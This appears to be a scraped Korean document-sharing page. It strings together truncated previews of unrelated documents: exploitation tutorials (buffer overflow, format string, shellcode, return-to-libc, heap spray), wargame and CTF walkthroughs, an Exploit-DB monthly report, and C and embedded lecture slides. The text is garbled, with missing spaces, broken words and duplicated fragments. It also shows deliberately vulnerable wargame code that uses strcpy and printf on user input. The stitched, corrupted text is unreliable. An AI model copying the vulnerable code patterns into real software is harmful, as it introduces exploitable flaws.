EDB 분석보고서 (04.06) ~ Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time- EDB 분석보고서 (04.06) 04.06.0~04.06.0 Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) 04년 06월에공개된 Exploit-DB의분석결과, SQL 공격에대한보고개수가가장많았습니다. 이와같은결과로부터여전히 SQL 이웹에서가장많이사용되는임을확인할수있습니다.

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture4-1 Vulnerability Analysis #4-1 Agenda 웹취약점점검 웹사이트취약점점검 HTTP and Web Vulnerability HTTP Protocol 웹브라우저와웹서버사이에하이퍼텍스트 (Hyper Text) 문서송수신하는데사용하는프로토콜 Default Port

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

Microsoft Word - Heap_Spray.doc

Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환 취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

쉽게 풀어쓴 C 프로그래밍

쉽게 풀어쓴 C 프로그래밍 제 3 장함수와문자열 1. 함수의기본적인개념을이해한다. 2. 인수와매개변수의개념을이해한다. 3. 함수의인수전달방법 2가지를이해한다 4. 중복함수를이해한다. 5. 디폴트매개변수를이해한다. 6. 문자열의구성을이해한다. 7. string 클래스의사용법을익힌다. 이번장에서만들어볼프로그램 함수란? 함수선언 함수호출 예제 #include using

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름 EDB 분석보고서 (016.01) 016.01.01~016.01.31 Exploit-DB(http://exploit-db.com) 에공개된취약점별로분류한정보입니다. 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) 016 년 1 월에공개된 Exploit-DB 의분석결과, SQL Injection 공격에대한취약점보고개수가가장많았습니다. 분석된 SQL Injection

More information

게시판 스팸 실시간 차단 시스템

게시판 스팸 실시간 차단 시스템 오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

Infinity(∞) Strategy

Infinity(∞) Strategy 배열 (Array) 대용량데이터 대용량데이터를다루는기법 배열 (Array) 포인터 (Pointer) 구조체 (Structure) 파일 (File) 변수 (Variable) 변수및메모리할당 변수선언 : int imsi; imsi 4 Bytes 변수선언 : char imsi2; imsi2 1 Byte 배열 (Array) 배열 동일한데이터형을가지고있는데이터들을처리할때사용

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 함수의인수 (argument) 전달방법 C 에서함수의인수전달방법 값에의한호출 (call-by-value): 기본적인방법 포인터에의한호출 (call-by-pointer): 포인터이용 참조에의한호출 (call-by-reference): 참조 (reference) 이용 7-35 값에의한호출 (call-by-value) 함수호출시에변수의값을함수에복사본으로전달 복사본이전달되며,

More information

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks XSS s XSS, s, May 25, 2010 XSS s 1 2 s 3 XSS s MySpace 사건. Samy (JS.Spacehero) 프로필 페이지에 자바스크립트 삽입. 스크립트 동작방식 방문자를 친구로 추가. 방문자의 프로필에 자바스크립트를 복사. 1시간 만에 백만 명이 친구등록. s XSS s 위험도가 낮은 xss 취약점을 다른 취약점과 연계하여

More information

PowerPoint Template

PowerPoint Template 설치및실행방법 Jaewoo Shim Jun. 4. 2018 Contents SQL 인젝션이란 WebGoat 설치방법 실습 과제 2 SQL 인젝션이란 데이터베이스와연동된웹서버에입력값을전달시악의적동작을수행하는쿼리문을삽입하여공격을수행 SELECT * FROM users WHERE id= $_POST[ id ] AND pw= $_POST[ pw ] Internet

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

76 XSS 하 Huge-IT Slider admin.php XSS

76 XSS 하 Huge-IT Slider admin.php XSS 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) EDB 분석보고서 (05.06) 05.06.0~05.06.0 Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 05 년 6 월에공개된 Exploit-DB 의분석결과, LFI 공격에대한보고개수가가장많았습니다. LFI 공격은대체적으로공격난이도는낮지만공격이성공했을경우시스템의주요파일들이노출되거나파일다운로드가가능해지기때문에위험도가높은공격으로분류됩니다.

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

$ret = ; $socket = fsockopen( , 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $ The 5eX m2n 푼문제 : O O O X O X X O O X O O O O X O X O O O level1 : parse string Level1은 210:207.246.131 이라는 IP와 8888이라는포트번호가주어진다. 접속하여보면, base64로인코딩된스트링을보여주면서, Plain text를전송하라고한다. Base64된스트링을디코드해보면, beistlab

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB(  에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) 0 년 월에공개된 Exploit-DB 의분석결과, 잘알려진웹공격인 SQL Injection 과 XSS(Cross Site Scripting) 공격에대한보고가가장많았습니다.

More information

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)- 1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다. 1.2.1 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-1 연산범위이유 : 00000000 00000000 00000000 00000000의 32

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

